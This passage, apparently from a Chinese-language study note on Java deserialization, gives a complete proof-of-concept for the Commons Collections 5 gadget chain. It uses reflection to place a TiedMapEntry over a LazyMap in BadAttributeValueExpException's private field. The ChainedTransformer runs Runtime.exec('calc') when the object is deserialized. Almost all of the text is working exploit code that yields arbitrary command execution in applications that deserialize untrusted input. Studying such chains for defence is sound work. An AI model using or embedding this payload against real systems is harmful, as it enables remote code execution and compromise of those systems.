BadAttributevalueExpException badAttributevalueExpException = new BadAttributevalueExpException(null);
利用反射修改私有变量val的值为tiedMapEntry
Class badAttributevalueExpExceptionClass = BadAttributevalueExpException.class;
Field badAttributevalueExpExceptionClassField = badAttributevalueExpExceptionClass.getDeclaredField("val");
badAttributevalueExpExceptionClassField.setAccessible(true);
badAttributevalueExpExceptionClassField.set(badAttributevalueExpException,tiedMapEntry);
总poc为
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributevalueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections5 {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "Demodd");
BadAttributevalueExpException badAttributevalueExpException = new BadAttributevalueExpException(null);
Class badAttributevalueExpExceptionClass = BadAttributevalueExpException.class;
Field badAttributevalueExpExceptionClassField = badAttributevalueExpExceptionClass.getDeclaredField("val");
badAttributevalueExpExceptionClassField.setAccessible(true);
badAttributevalueExpExceptionClassField.set(badAttributevalueExpException,tiedMapEntry);
serialize(badAttributevalueExpException);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}